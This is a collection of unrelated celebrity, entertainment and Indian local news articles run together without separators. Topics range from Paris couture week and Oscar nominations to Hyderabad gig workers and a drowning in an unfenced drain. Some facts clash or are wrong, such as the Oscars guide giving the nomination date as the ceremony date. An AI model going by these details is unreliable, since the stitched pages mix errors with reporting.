The fabric featured colorful designs on a nude field and was slightly sheer, enabling the wearer to hint at her shapely legs.

She sharpened her unmistakable features with makeup including a slick of scarlet lipstick that elegantly complemented the print on her dress.

Wearing her signature blonde hair in a sleek bob reminiscent of the flapper era, she lent the look a touch of glitz with a pair of earrings.

After arriving at the show, she settled into a prime seat by Zendaya's stylist Law Roach and Emily In Paris actress Ashley Park.

On the town: The 54-year-old blonde was taking in a show by Rahul Mishra, who three years ago became the first Indian designer to showcase at Paris Haute Couture Week

Swanking about: As the latest edition of Haute Couture Week thundered ahead in the French capital, Kelly made her presence felt in a fluttery floral gown

Rahul Mishra, whose flagship shop is located in the trendy Delhi neighborhood Mehrauli, has based his latest line on the cosmos.

'This collection is the most labor-intensive collection we have done,' he said in a recent interview with Vogue India. 'I think every outfit has been a labor of love, the collection Cosmos is a difficult idea to interpret in clothing.'

He explained his inspiration: 'When you look at galaxies and interstellar bodies in the sky, you think thats the cosmos. But if you look towards yourself, you will find so many details that make up a person, its almost a parallel cosmos that exists.'

The designer shared that his latest collection 'borrows from a very spiritual quote: "Yat Pinde Tat Brahmande," which translates to what lies is also within you.'

Bringing it together: She sharpened her unmistakable features with makeup including a slick of scarlet lipstick that elegantly complemented the print on her dress

Place to be: After arriving at the show, she settled into a prime seat by Zendaya's stylist Law Roach and Emily In Paris actress Ashley Park

He also shed some light on the process of designing clothes that will appeal to wearers both in India and internationally.

'When I look at India or Paris, the global market versus the Indian market, or the bridal genre for example, we might adapt to certain ideas into different shapes,' he told Vogue India in his new interview. 'But the process, the ethos behind making it, the philosophy and the art works are quite similar.'

By way of example, he said: 'Sometimes, the bodies might also be similar structures, theres no harm in calling a lehenga a paneled skirt - I'm experimenting with it this time, along with some beautiful gowns.'

Inspiration: Rahul Mishra, whose flagship shop is located in the trendy Delhi neighborhood Mehrauli, has based his latest line on the cosmos
Five months after Anne Heche died in a fiery crash, her youngest son Atlas Heche Tupper has shared a touching tribute in her memory.

'My mom was the brightest person I've ever known,' the grieving 13-year-old told the Los Angeles Inquisitor on Tuesday.

'She always knew how to solve a problem, or help a friend. She always knew the right thing to do. I cannot put into words how grateful I am or how much I miss her.'

'My mom was the brightest person I've ever known': Five months after Anne Heche (L) died in a fiery crash, her youngest son Atlas Heche Tupper (R) has shared a touching tribute in her memory

The Daytime Emmy winner welcomed Atlas during the 11-year relationship with her Men in Trees castmate James Tupper, which acrimoniously ended in 2018.

The 57-year-old SAG Award nominee told the mag: 'Anne and I were together for more than a decade, we have a beautiful son together and in that time, she was the very definition of light in our lives, always bringing fun, love, and energy. She will always be remembered in our hearts and minds.'

Anne tragically died, age 53, on August 5 after crashing her Mini Cooper into an LA-area home.

On December 6, the coroner discovered that Heche had trace amount of benzoylecgonine, an inactive metabolite of cocaine, in her system at the time of the crash but she was not impaired - according to TMZ.

The grieving 13-year-old told the Los Angeles Inquisitor on Tuesday: 'She always knew how to solve a problem, or help a friend. She always knew the right thing to do. I cannot put into words how grateful I am or how much I miss her'

'Anne and I were together for more than a decade': The Daytime Emmy winner welcomed Atlas during the 11-year relationship with her Men in Trees castmate James Tupper (R), which acrimoniously ended in 2018

The 57-year-old SAG Award nominee told the mag: 'We have a beautiful son together and in that time, she was the very definition of light in our lives, always bringing fun, love, and energy. She will always be remembered in our hearts and minds'

She was not impaired at the time: Anne tragically died, age 53, on August 5 after crashing her Mini Cooper into an LA-area home

On Tuesday, Viva Editions published the Ohio-born blonde's 176-page 'part memoir and part self-acceptance workbook' Call Me Anne, which is a sequel to her 2001 autobiography Call Me Crazy.

Anne's posthumous tome features anecdotes about on-set mentor Harrison Ford, her three-year romance with Ellen Degeneres, her encounter with Harvey Weinstein, her history of childhood sexual abuse, her religious beliefs, and more.

On Tuesday night at 7pm, Heche's Better Together co-host Heather Duffy Boylston will host a reading of Call Me Anne at the Barnes & Noble inside LA's The Grove.

The What Remains actress' eldest son Homer Heche Laffoon - who's the court-appointed general administrator of her estate - wrote of the event: 'I know mom would want to see everyone's smiling face as she read an excerpt and signed copies.'

On shelves now! On Tuesday, Viva Editions published Heche's 176-page 'part memoir and part self-acceptance workbook' Call Me Anne, which is a sequel to her 2001 autobiography Call Me Crazy

Tonight! On Tuesday at 7pm, the Ohio-born blonde's Better Together co-host Heather Duffy Boylston will host a reading of Call Me Anne at the Barnes & Noble inside LA's The Grove

Anne's eldest son Homer Heche Laffoon (R, pictured May 8) - who's the court-appointed general administrator of her estate - wrote of the event: 'I know mom would want to see everyone's smiling face as she read an excerpt and signed copies'

Anne gave birth to her 20-year-old son during her five-year marriage to cameraman Coleman 'Coley' Laffoon, which ended in 2009.

Heche and her son Atlas co-starred as the rodeo trainer Diana Jones and J.J. in Eric Parkinson's family film Wildfire: The Legend of the Cherokee Ghost Horse, which will be released on March 24.

The Girl in Room 13 star will also have a mysterious recurring role in Sam Levinson, Reza Fahim, and The Weeknd's six-episode drama The Idol, which premieres later this year on HBO.

Coming out March 24! Heche and her son Atlas co-starred as the rodeo trainer Diana Jones and J.J. in Eric Parkinson's family film Wildfire: The Legend of the Cherokee Ghost Horse
Angela Bassett was up bright and early and reporting for duty on the set of 9-1-1 Tuesday, in spite of receiving a history making Oscar nomination.

The versatile star, 64 - who plays police sergeant Athena Grant in the police procedural - received a nod for Best Supporting Actress for her role as Queen Ramonda in Black Panther: Wakanda Forever.

She is the first Marvel star to be so honored for their role in a Marvel film.

Report for duty: Angela Bassett was up bright and early and reporting for duty on the set of 9-1-1 Tuesday, in spite of receiving a history making Oscar nomination

In a statement to CNN, the star wrote, 'This morning is a little extra special in the Bassett Vance household with news of my Oscar nomination. What has drawn me to each of the women Ive portrayed throughout my career is their strength, compassion, resilience, and power.'

She added, 'Wakanda Forevers Queen Ramonda is a character that touched my spirit because she is a mother and a leader who must care for her grieving nation as much as she cares for her family in mourning. Ramonda is a love letter that reflects and acknowledges what we women do everyday.'

The nomination also broke through the glass ceiling as she joined Al Pacino, Paul Newman, William Hurt, Heath Ledger and Joaquin Phoenix who were nominated for their work in films based on comic books or graphic novels.

Nomination: The versatile star, 64, who plays police sergeant Athena Grant in the police procedural, received a nod for Best Supporting Actress for her role as Queen Ramonda in Black Panther: Wakanda Forever

Marvelous: Angela is the first Marvel star to be so honored for their role in a Marvel film

Glass ceiling: The nomination also broke through the glass ceiling as she joined Al Pacino, Paul Newman, William Hurt, Heath Ledger and Joaquin Phoenix who were nominated for their work in films based on comic books or graphic novels

The late Heath Ledger won Best Supporting Actor posthumously for his role as The Joker in The Dark Knight in 2009.

Joaquin Phoenix won best actor for his portrayal of the same character in 2019's Joker.

Black Panther: Wakanda Forever received four more nominations: Best Makeup and Hairstyling, Best Costume Design and Best Special Effects.

Special: A statement to CNN said 'This morning is a little extra special in the Bassett Vance household with news of my Oscar nomination. What has drawn me to each of the women Ive portrayed throughout my career is their strength, compassion, resilience, and power'

Leader: Angela praised her character as one 'that touched my spirit because she is a mother and a leader who must care for her grieving nation as much as she cares for her family in mourning'

Rihanna and her fellow songwriters received a Best Original Song nod for Lift Me Up.

Angela shares the Best Supporting Actress nomination with Jamie Lee Curtis and Stephanie Hsu for their performances in Everything Everywhere All At Once, Kerry Condon for The Banshees of Inishirin, and Hong Chau for The Whale.

The St. Petersburg, Florida native has already won a Golden Globe and Critics Choice award for her performance, and appears to be the one to beat at the Oscars when the envelopes are opened March 12 in Los Angeles.
Coronation Street's Alya Nazir is stabbed while wrestling a teenager intent on killing Maria Connor, a spoiler for Wednesday's episode has revealed.

Dramatic scenes see the co-owner of Speed Daal, played by Sair Khan, jump in the way when Blake (Adam Little) lunges for Maria (Samia Longchambon) in a shocking attack.

As Alya is rushed to hospital, Blake reveals that it was Max Turner's (Paddy Bever) racist propaganda videos that inspired him to carry out the attack, leading to Max's arrest.

Shocking: Coronation Street's Alya Nazir is stabbed while wrestling with a teenager intent on killing Maria Connor, a spoiler for Wednesday's episode has revealed

It is the latest twist in a storyline which saw Max radicalised by Griff Reynolds (Michael Condron), who used the teenager's computer skills to spread his group's racist propaganda before planting a bomb in Speed Daal's van.

In Wednesday's tense scenes, Blake is fuelled by hatred and decides to sneak into an event at Speed Daal, which was organised to highlight the Weatherfield refugee drop.

In a live stream, he reveals his intent to disrupt the event but Max sees Blake reveal a knife in the video and rushes to Speed Daal to warn the attendees.

However, Gary Windass (Mikey North) stops Max from entering the event and he watches from the doorway as Blake shockingly runs at Maria brandishing a knife.

Wrestling: Dramatic scenes see the co-owner of Speed Daal, played by Sair Khan, jump in the way when Blake (Adam Little) lunges for Maria (Samia Longchambon) in a shocking attack

Noticing what the teenager is doing, Alya bravely jumps directly in front of Blake and he stabs her in the stomach.

As horrified guests flee out on to the street, Gary and Daryan Zahawi (Twana Omer) wrestle Blake to the floor as he brandishes the knife.

Alya is then rushed to hospital for a life-saving operation while Blake reveals it was Max's racist propaganda videos that encouraged him to carry out the attack.

Max is then arrested and has to explain his involvement with the radicalised group to the police as he faces a lengthy jail sentence for incitement to commit murder.

Influenced: As Alya is rushed to hospital, Blake reveals that it was Max Turner's (Paddy Bever) racist propaganda videos that inspired him to carry out the attack, leading to Max's arrest

Speaking of the storyline, producer Iain Macleod said: 'We are exploring a very 21st Century problem: teenagers self-radicalising through watching extreme content online.

'In the end, we wanted this to be a story about communication within families - what are the right and wrong ways to talk to younger family members who are gravitating towards extreme views?'

It is the latest dramatic twist in a hard-hitting storyline which saw Max groomed and radicalised by older figures as he became more estranged from his own family.

The lonely and vulnerable teenager was targeted by a gang of extremists, ultimately putting his own life and that of his friends and family in danger.

Attack: In Wednesday's tense scenes, teenager Blake decides to sneak into an event at Speed Daal and lunges at Maria while brandishing a knife

When Max first came in contact with Griff, he was made to feel very isolated and was eventually asked to join the gang alongside his girlfriend Lauren.

Lauren's extremist ideology also influenced him to become worse in his racist ways, with Alya even approaching Max with her concerns about his girlfriend's views, but he defended her actions.

In one episode, Max also watched an alarming propaganda film which further encouraged him to go against Muslims.

Injured: Noticing what the teenager is doing, Alya bravely jumps directly in front of Blake and he stabs her in the stomach

Restrained: As horrified guests flee out on to the street, Gary and Daryan Zahawi (Twana Omer) wrestle Blake to the floor as he brandishes the knife

After becoming more isolated, Max quickly fell under Griff's spell, who then used the teenager's computer skills to spread his group's racist propaganda.

But after Max learned that Griff had planted a bomb in Speed Daal's van, he told the residents and Alya managed to save dozens of lives by driving the van away from the street.

However, Coronation Street fans were left in shock with the tense storyline, which has been quite extreme in comparison to the usual soap dramas.

Some viewers slammed the 'disgusting' racism storyline, with Ofcom receiving 139 complaints about his radicalisation.

Arrest: Max is then arrested and has to explain his involvement with the radicalised group to the police as he faces a lengthy jail sentence for incitement to commit murder

More Ofcom complaints were lodged when Max turned against a refugee from Iraq. The TV regulator said that there were 139 complaints which 'related to the racial violence storyline'.

Producer Iain MacLeod said of the storyline when it begun: 'Overall, Max's story is one about the grooming of a vulnerable teenager at a point where he's feeling most alienated and disenfranchised.

'The story will encompass the 'traditional' recruitment techniques of extremists groups, and we'll see Max befriended in person by older, mentor-like figures that will give him a sense of loyalty and brotherhood.'

Coronation Street airs on Mondays, Wednesdays and Fridays at 8pm on ITV1 and ITVX.
Nia Long is opening up about her long friendship with Will Smith.

The 52-year-old actress co-starred with Will, 54, on The Fresh Prince of Bel-Air back in the 90s as his fiancee Lisa and the two have remained friends ever since.

In an interview with Yahoo's Kevin Polowy on the Role Recall podcast, the NAACP Image Award winner talked about the how far the comic actor turned action star has come.

Friendship: Nia Long is opening up about her long friendship with Will Smith. 'I love him and I will always love him.' she said. 'He's had an incredible career'

Nia Long had some thoughtful things to say about her #FreshPrince costar/friend Will Smith: Hes carried a burden for many years to represent what perfection looks like.



She also got emotional when that scrutiny reminded her of what shes been through with her recent breakup. pic.twitter.com/fYS1vLj7gz  Kevin Polowy (@djkevlar) January 20, 2023

'I love him and I will always love him,' she said. 'He's had an incredible career.'

Nia described Will as 'a joyous person.'

Alluding the to the pressure of being a black man in Hollywood, the Life in a Year star said, 'He's carried a burden for many years to try to represent what perfection looks like or achievement looks like.

'I don't think that, at least when we were growing up, there was room to be human. And I think he's now able to be human.'

Co-stars: Mia co-starred as Will's fiancee Lisa in The Fresh Prince of Bel-Air in the 1990s and the two have remained friends ever since

Interview: In an interview with Yahoo's Kevin Polowy on the Role Recall podcast , the NAACP Image Award winner talked about the how far the comic actor turned action star has come

The King Richard actor's Oscar win for Best Actor was tarnished last year when he slapped host Chris Rock after the comedian made a denigrating comment about wife Jada Pinkett's shaved head. The actress suffers from the autoimmune condition alopecia, which can result in hair loss.

As a result of the incident, which was televised around the world, Will resigned from the Academy and he is banned from attending the Oscars ceremonies for 10 years.

The actor apologized for his action, saying in a video release in April, 'There is no part of me that thinks that was the right way to behave in that moment. Theres no part of me that thinks thats the optimal way to handle a feeling of disrespect or insults.'

Joyous: Nia described Will as 'joyous' and said she learned a lot about acting while starring on the hit sitcom

The Slap: While not excusing the infamous slap at the 2022 Oscars, Nia said, 'I think we all have our moments in life where we have to reconcile things that maybe we suppress. I think it's hard growing up in this business and being front and center every day, all day'

While not excusing his actions, Nia said, 'I think we all have our moments in life where we have to reconcile things that maybe we suppress. And I think it's hard growing up in this business and being front and center every day, all day.'

The actress, who can be seen on Peacock in The Best Man: The Final Chapters and in You People, which streams on Netflix January 27, has had her shares of ups and down recently, including a public breakup with her former fiance, Ime Ukoda, after 13 years together.

'You know, I've had some pretty devastating moments in my life over the last couple of months and I've had to just say, "It's all right. You'll pick yourself back up" Oh my God, I'm about to cry. You pick yourself back up and you keep it moving.'
She's known for her striking and eye-catching looks.

And Tuesday was no different for Kirsten Dunst, 40, who turned heads in a gorgeous blue coat as she left her hotel with husband Jesse Plemons during Paris Fashion Week.

The actress, who shares Ennis, four, and James, 17 months with Jesse, 34, paired the stylish look with denim jeans and black loafers.

Day out: Kirsten Dunst, 40, turned heads in a gorgeous blue coat as she left her hotel on Tuesday with husband Jesse Plemons during Paris Fashion Week

Off we go: The actress, who shares Ennis, four, and James, 17 months with Jesse, paired the stylish look with denim jeans and black loafers

Kirsten wore her blonde locks loose, finishing her outfit with a pair of tortoiseshell sunglasses.

Meanwhile, husband Jesse dressed down, sporting a brown jacket, white t-shirt and denim jeans.

He complemented the look with a green beanie hat and black Converses and was seen signing an autograph for a fan, casually placing his sunglasses on his shirt.

Smiles: Kirsten wore her blonde locks loose, finishing her outfit with a pair of tortoiseshell sunglasses

Wrapping up: Kirsten kept her accessories minimal, opting for a few rings as she left her hotel in Paris

It comes after the couple, who have been together for six years in total, tied the knot in Jamaica back in July.

Kirsten and Jesse started dating back in 2016 after meeting on the set of Fargo, and they became engaged the following year.

The couple starred opposite one another in the 2021 Netflix drama Power Of The Dog, which saw them play husband and wife.

They were both nominated for Oscars for their roles, but did not win this time around.

Let's go: Kirsten looked deep in thought as she got into a car to make the journey away from her hotel with Jesse

Casual: Meanwhile, husband Jesse dressed down, sporting a brown jacket, white t-shirt and denim jeans for their trip out

'We kind of fell in love creatively first and fell in love as actors,' Kirsten previously said on Jimmy Kimmel Live!, adding her partner was her 'favorite actor.'

Speaking of Jesse, Kirsten told the New York Times: 'My first impression was, "Oh, hes like me." We were two people who worked very similarly, and it felt like a soulmate.'

'I knew he would be in my life forever,' she said. 'It was one of those connections where you just know. But were also very respectful people and were mindful of the fact that we were working together intensely.'

Cool: He complemented the look with a green beanie hat and black Converses, putting a pair of sunglasses on his t-shirt

Fans: The actor was also seen signing an autograph for a fan as he stepped out of their hotel in Paris on Tuesday

Jesse also had the same feeling. Speaking with the NY Times, he said: 'I knew that she would be in my life for a long time.'

Jesse also spoke glowingly about Kirsten at at her Hollywood Walk of Fame ceremony in 2019.

'I don't often remember every detail about meeting someone  Immediately, without too many words being exchanged, I looked into her eyes and saw the beautiful, sweet, unguarded, welcoming human being that she is,' he said.
Four days before announcing their joint tour on Monday, Beck and the French band Phoenix were being filmed cruising in a vintage Rolls-Royce convertible in LA's trendy Los Feliz neighborhood.

The 52-year-old alt-rocker (born Bek David Campbell) sat shotgun as Phoenix frontman Thomas Mars sat behind the wheel of the expensive car for the mystery shoot promoting the upcoming concerts.

At one point, Phoenix bass/keyboard player Deck d'Arcy perched atop the Rolls, being careful to remove his shoes first as to not damage the interior.

Action! Four days before announcing their joint tour on Monday, Beck and the French band Phoenix were being filmed cruising in a vintage Rolls-Royce convertible in LA's trendy Los Feliz neighborhood

Beck and Phoenix will co-headline the 20-date North American tour Summer Odyssey, which kicks off August 1 at Climate Pledge Arena in Seattle.

Opening acts during the tour include Weyes Blood, Japanese Breakfast, Jenny Lewis, and Sir Chloe.

The eight-time Grammy winner must be particularly close with the 46-year-old Grammy winner (born Thomas Croquet) as they gave their children nearly identical distinctive names.

Shotgun! The 52-year-old alt-rocker (born Bek David Campbell) sat in the front passenger's seat as Phoenix frontman Thomas Mars sat behind the wheel of the expensive car for the mystery shoot promoting the upcoming concerts

Quiet on set! Opening acts during the tour include Weyes Blood, Japanese Breakfast, Jenny Lewis, and Sir Chloe

Beck and his ex-wife Marissa Ribisi have an 18-year-old son named Cosimo Hansen, who runs the clothing company Future Ruins.

Thomas and his wife of 11 years - Oscar-winning screenwriter Sofia Coppola - named their 12-year-old daughter Cosima and they also have a 16-year-old daughter called Romy.

The ex-Scientologist pays the 48-year-old Dazed and Confused alum over $18K/month in spousal support and over $14K/month in child support for their 15-year-old daughter Tuesday Hansen after their 15-year marriage ended in 2021 - according to People.

Coincidence? The eight-time Grammy winner must be particularly close with the 46-year-old Grammy winner (born Thomas Croquet) as they gave their children nearly identical distinctive names

Mini-me: Beck and his ex-wife Marissa Ribisi (R, pictured in 2019) have an 18-year-old son named Cosimo Hansen (L), who runs the clothing company Future Ruins

Still going strong! Thomas and his wife of 11 years - Oscar-winning screenwriter Sofia Coppola (R, pictured December 19) - named their 12-year-old daughter Cosima (M) and they also have a 16-year-old daughter called Romy

Costly split: The ex-Scientologist reportedly pays the 48-year-old Dazed and Confused alum (R, pictured in 2021) over $14K/month in child support for their 15-year-old daughter Tuesday Hansen (L) after their 15-year marriage ended in 2021

For his song Old Man, Beck will next compete for the best rock performance trophy at the 65th Annual Grammy Awards, which air February 5 on CBS/Paramount.

The Los Angeles native faces heavy competition against Bryan Adams, The Black Keys, Brandi Carlile, IDLES, Ozzy Osbourne, and Turnstile.

Beck will then head Down Under to Australia to perform acoustic gigs at the Palais Theatre in Melbourne on April 3 and the Aware Super Theatre in Sydney on April 6.

Airing February 5 on CBS/Paramount! For his song Old Man, Beck will next compete for the best rock performance trophy at the 65th Annual Grammy Awards

Who will win? The Los Angeles native faces heavy competition against Bryan Adams, The Black Keys, Brandi Carlile, IDLES, Ozzy Osbourne, and Turnstile

The Bubble actor hasn't released a new record since his 14th studio album Hyperspace in 2019.

Phoenix will next headline the Chinese music festival Clockenflap at Central Harbourfront Event Space in Hong Kong on March 3.

The four Frenchmen released their first album since 2017, Alpha Zulu, on November 4.

Headed Down Under! Beck will then fly to Australia to perform acoustic gigs at the Palais Theatre in Melbourne on April 3 and the Aware Super Theatre in Sydney on April 6
Sarah Jessica Parker committed the ultimate fashion faux pas as she stepped out wearing ankle-length socks over a pair of tights while filming And Just Like That.

While seemingly embracing the granny chic trend, which typically involves rocking vintage-style pieces, patterns and quirky accessorizes, the 57-year-old actress raised eyebrows for styling her beige slouchy tube socks with purple heels.

The rest of her ensemble consisted of a purple bowling shirt featuring a geometric pattern of green circles, violet ribbed skirt and a grey cable knit cardigan.

Granny chic! Sarah Jessica Parker committed the ultimate fashion faux pas as she stepped out wearing ankle-length socks over a pair of tights while filming And Just Like That

She wore the funky look while filming HBO's Sex and The City reboot, also starring Kristin Davis and Cynthia Nixon, with John Corbett.

Parker and My Big Fat Greek Wedding star, 61, were seen exchanging a laugh as they browsed cookware and home furnishings together.

At one point, Parker made a shocked expression as Corbett told her a story as cameras rolled.

Funky look: While seemingly embracing the granny chic trend, which typically involves rocking vintage-style pieces, patterns and quirky accessorizes, the 57-year-old actress raised eyebrows for styling her beige slouchy tube socks with purple heels

Fashion faux pas: The rest of her ensemble consisted of a purple bowling shirt featuring a geometric pattern of green circles, violet ribbed skirt and a grey cable knit cardigan

This is not the first time Parker has been seen filming with Corbett, who played her on-and-off boyfriend and later fiance Aidan Shaw on seasons three and four of Sex and the City.

Their reunion comes 13 years after he last played the role of the lovable furniture designer in the much-derided 2010 film, Sex And The City 2.

While filming, his character was not wearing a wedding ring, which may indicate he is no longer with on-screen wife Kathy.

On-screen lovers: She wore the funky look while filming HBO's Sex and The City reboot, also starring Kristin Davis and Cynthia Nixon, with John Corbett

Surprised: At one point, Parker made a shocked expression as Corbett told her a story as cameras rolled

The last viewers saw of Aidan was back in Sex And The City 2, when he and Carrie unexpectedly crossed paths in Abu Dhabi.

The pair arranged to meet for dinner - despite Charlotte's warnings that Carrie was 'playing with fire' - and shared a clandestine kiss after flirting over appetizers.

Fans were left shocked when the previously loyal Aidan cheated on his furniture-designing spouse - with whom he had sons Tate, Homer, and Wyatt.

Consumed by guilt, Carrie abandoned Aidan at his hotel, and quickly told husband Big, who ghosted her, before presenting her with a black diamond engagement ring.

Back together? Parker and My Big Fat Greek Wedding star, 61, were seen exchanging a laugh as they browsed cookware and home furnishings together

She later told Charlotte the kiss made her realize how she used to be, 'desperate, needy and chasing after a guy who didn't want me' - referring to Big's toxic and gaslighting behavior towards her in the six seasons and first film, where he jilted her,

John portrayed Carrie's former boyfriend and later on, her fiance, in season three and season four of the hit HBO series.

The pair first met in his furniture store before striking up a romance which left Carrie 'freaked out' due to how smoothly their relationship was going.

Three's a crowd: Carrie first dated Aidan in season three, before cheating on him with Big, then reignited a romance in season four, before ending their engagement (pictured SJP, Aidan and Big, played by Chris Noth in season four)

She later had a three-week affair with Mr. Big - then married to the much-younger Natasha Naginsky - before breaking it off and telling a heartbroken Aidan, who promptly dumped her.

In season four they met once more at the opening of Aidan and Steve Brady's bar, Scout, with Carrie begging a dismissive Aidan for another chance.

After they reignited their romance following a passionate one-night stand, her refusal to cut Big out of her life put strain on the romance.

Lies: In 2021, when season one of the Sex And The City sequel was in the works, the actor had teased he would be in the reboot. However, to the fans' dismay, he never appeared in any of the episodes

A smitten Aidan later proposed to an unsure Carrie, who accepted but would only wear her engagement ring on a chain around her neck.

Their romance ended once and for all in season four where she admitted she wasn't ready to marry Aidan.

He was seen one last time in season six, when Carrie ran into him and his baby son, with Aidan revealing he had married a fellow furniture designer.

And Just Like That... has followed Carrie's journey as she moves on with her life following the death of her true love Big - leaving the path open for her to reignite romance with Aidan.

Back again: The SATC reboot sees SJP, Cynthia Nixon (Miranda Hobbes) and Kristin Davis (Charlotte York Goldenblatt) reprise their roles - without the iconic Kim Cattrall as Samantha Jones

She was last known to have been dating her podcast producer Franklyn.

In 2021, when season one of the Sex And The City sequel was in the works, the actor had teased he would be in the reboot. However, to the fans' dismay, he never appeared in any of the episodes.

AJLT writer Julie Rottenberg and executive producer Michael Patrick King later told Deadline: 'John Corbett should be writing personal apology notes. We didn't say anything.'
Christine Quinn almost bared it all in a long, sheer black gown with a slit up to her hip during Paris Fashion Week on Tuesday.

She kept some modesty in tact with a black bra and panty set under the low cut dress. She also wore a long, luxurious red fur coat with a train. Her long blonde hair was swept back off her face in loose waves cascading down her torso.

The former Selling Sunset star, 34, competed the look with diamond and black stone drop earrings and sky high black platform heels.

Sheer madness: Christine Quinn almost bared it all in a long, sheer black gown with a slit up to her hip during Paris Fashion Week on Tuesday

We see through you, Christine: She kept some modesty in tact with a black bra and panty set under the low cut dress. She also wore a long, luxurious red fur coat with a train. Her long blonde hair was swept back off her face in loose waves cascading down her torso

Her makeup was fresh and dewy looking with berry colored lipstick setting off the sexy look.

The leggy look appears to be a theme for the real estate agent. She also rocked a black gown slit up to her hips at the Schiaparelli show during Paris Fashion Week on Monday, Jan. 23.

She paired the ruched dress with a long, fluffy black coat hanging from her shoulders and a matching black bag in the same fabric.

Mirror image: The former Selling Sunset star gave off major old Hollywood vibes

She finished Monday's look off with black mules with gold accents. Her hair was curled in an vintage Veronica Lake look as it flowed down her back.

The mother of one, who is married to entrepreneur Christian Richard, 44, wore dramatic heavy makeup with smokey eyes to compliment the glamorous outfit.

Christine and Christian met through mutual friends and got engaged on Valentine's day 2019.

She sure has body confidence: Last week she wore an orange string bikini

The couple got married in December 2019 in a gothic-winter wonderland themed party featuring the bride in a black gown.

'He's everything that I ever wanted,' she told Bustle in 2020. 'And then [my friend's] like, "Also, he's looking for a house," and I was like: double bonus.'

The couple welcomed their son Christian, one, in 2021.
Awards season is in full swing and all eyes are fast turning towards the biggest night of the year in Hollywood: The Academy Awards.

This year's Oscars will take place in the Dolby Theatre in Los Angeles with Jimmy Kimmel returning to host the show for a third time.

The bash will honour the best in film from 2022 with several projects and actors already being cited as favourties for nominations.

Now MailOnline tells you everything you need to know about the awards.

Host: This year's Oscars will take place in the Dolby Theatre in Los Angeles with Jimmy Kimmel returning to host the show for a third time

When are the Oscars?

The 2023 Oscars are on Sunday, March 12. US viewers can watch the show on ABC while fans in the UK can also livestream the ceremony on the sub channel Sky Cinema Oscars.

The ceremony will once again take place at the Dolby Theatre in LA after the Academy of Motion Picture Arts and Sciences signed a signed a 20-year extension to its hosting deal, meaning the show will take place there until at least 2033.

Event: The ceremony will once again take place at the Dolby Theatre in LA (Cast of CODA pictured last year after winning Best Picture)

When are the nominations revealed?

The nominations are revealed at 8:30am ET in the US on March 12, or 1:30pm in the UK.

Who are the favourites to win big?

In the Best Actor category, Austin Butler is all but guaranteed to be in the running for his lead role in the biopic Elvis, having already taken home the Golden Globe for Best Actor in a Drama.

Likewise, Colin Farrell is a top contender for his performance in The Banshees Of Inisherin, which saw him win a Golden Globe for Best Actor in a Musical or Comedy.

Brendan Fraser's performance as a reclusive college professor struggling with obesity in The Whale has received universal praise as has Bill Nighy's turn as a bureacrat facing an illness in Living is another name in the mix.

Acclaim: In the Best Actor category, Austin Butler is all but gauranteed to be in the running for his lead role in the biopic Elvis

Contender: In the Best Actress category, Cate Blanchett's role as a world famous composer in TAR is thought to be a frontrunner

Adam Sandler's performance in Hustle, Paul Mescal's in Aftersun and Hugh Jackman in The Son are also thought to be contenders.

In the Best Actress category, Cate Blanchett's role as a world famous composer in TAR is thought to be a frontrunner.

Joining her could be Golden Globe winner Michelle Yeoh for Everything Everywhere All At Once and Viola Davis for her role in The Woman King.

Success: Viola Davis is thought to be in the running for her role in The Woman King

Blonde: Ana de Armas' turn as Marilyn Monroe in Blonde is also thought to be in the running

Danielle Deadwyler's role as Emmet Till's mother in Till has received universal praise while Ana de Armas' turn as Marilyn Monroe in Blonde is also thought to be in the running.

Other names mentioned for the nomination include Margot Robbie for Babylon and Emma Thompson for Good Luck To You, Leo Grande.

Projects in the running for Best Picture include Avatar: The Way Of Water, Top Gun: Maverick, TAR, The Banshees of Inisherin, The Fabelmans, Everything Everywhere All At Once, Elvis and All Quiet On The Western Front.
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At this Year's Republic Day Parade, Indian Army would showcase only Made in India Weapons systems. (ANI)

New Delhi: India is celebrating its 74th independence on Thursday, January 26. At this Year's Republic Day Parade, Indian Army would showcase only Made in India Weapons systems, officials said.

"The weapons to be displayed include the K-9 Vajra howitzers, MBT Arjun, Nag anti-tank guided missiles, BrahMos supersonic cruise missiles, Akash air defence missiles and the Quick Reaction Fighting Vehicles," a statement said.
The Indian Federation of App-based Transport Workers (IFAT) joined a global campaign to Stop Unfair Deactivation'. The campaign aims to highlight the arbitrariness of deactivation by giant multinationals. (Representational Photo:DC)

Hyderabad: Gig workers employed by app-based services, ranging from food delivery to cabs, are alleging unfair practices by companies who block their IDs for minute errors, without explaining the same.

The workers, most of whom operate vehicles, said that they are being left without earnings as the action is automated and taken incorrectly. Getting the IDs unblocked is a tedious process. They demanded that the companies assess each case and provide an explanation before blocking their ID.

Unions representing the four-lakh-odd such workers said that every day, there are at least three to four such instances reported. Workers have now started a signature campaign, bringing together counterparts from Mumbai, Delhi, Jaipur, Lucknow, Kolkata, Bengaluru and Chennai.

An office-bearer of the Telangana Gig and Platform Workers Union (TGPWU) said, "Every week, we get at an average 25 to 30 cases of drivers IDs being blocked. Most of the drivers have no idea why their ID is blocked and have nowhere to go to get it fixed. It's a tension that these workers live with every day."

The worker added: "The Indian Federation of App-based Transport Workers (IFAT) joined a global campaign to Stop Unfair Deactivation. The campaign aims to highlight the arbitrariness of deactivation by giant multinationals."

David Raj, a driver with a cab aggregator, said his ID was blocked one-and-a-half years ago. "I have taken my car on loan, but I am unemployed. The reason the company gave was that someone created a fake ID on my name and it will be reactivated in a few days."

He added, "When the company has advanced software, who can create a fake ID? The company must jump into action and resolve the issue soon. Why are we being penalised?"

Shek Kareem of Erra Kunta, another driver who works with a cab aggregator, said "There was some problem with the phone handset, for which the ID was blocked. I was driving with the app for the past three years, but since last week, I have been home."

Workers alleged that the companies do not have transparent communication lines to help the, get issues resolved. They say that their fates rest with arbitrary resolution timelines set by the company they are associated with.
Albert, drowned after falling into an unfenced section of an under-construction drain network, which is part of the Strategic Nala Development Programme. (Photo: DC)

Hyderabad: A blame game is afoot among the GHMC officials after alleged apathy of the civic body claimed the life of a 48-year-old man in Mirjalguda on Tuesday.

A man, later identified as Albert, drowned after falling into an unfenced section of an under-construction drain network, which is part of the Strategic Nala Development Programme (SNDP).

Although GHMC officials blamed the victim, claiming he was drunk, locals pointed out that the corporation had failed to fence one side of the trench. Bystanders said that the area lacked streetlights or warning boards, even as higher authorities had directed for such signage to be put up.

Deputy executive engineer E. Lowkya said that mud was deposited to prevent entry into the trench. She said she was informed about the mans death around 12.10 pm, and blamed him for being drunk. (Photo: DC)

They said the civic officials were in cahoots with the police, due to which the case was diverted to a drunk death to cover up their negligence.

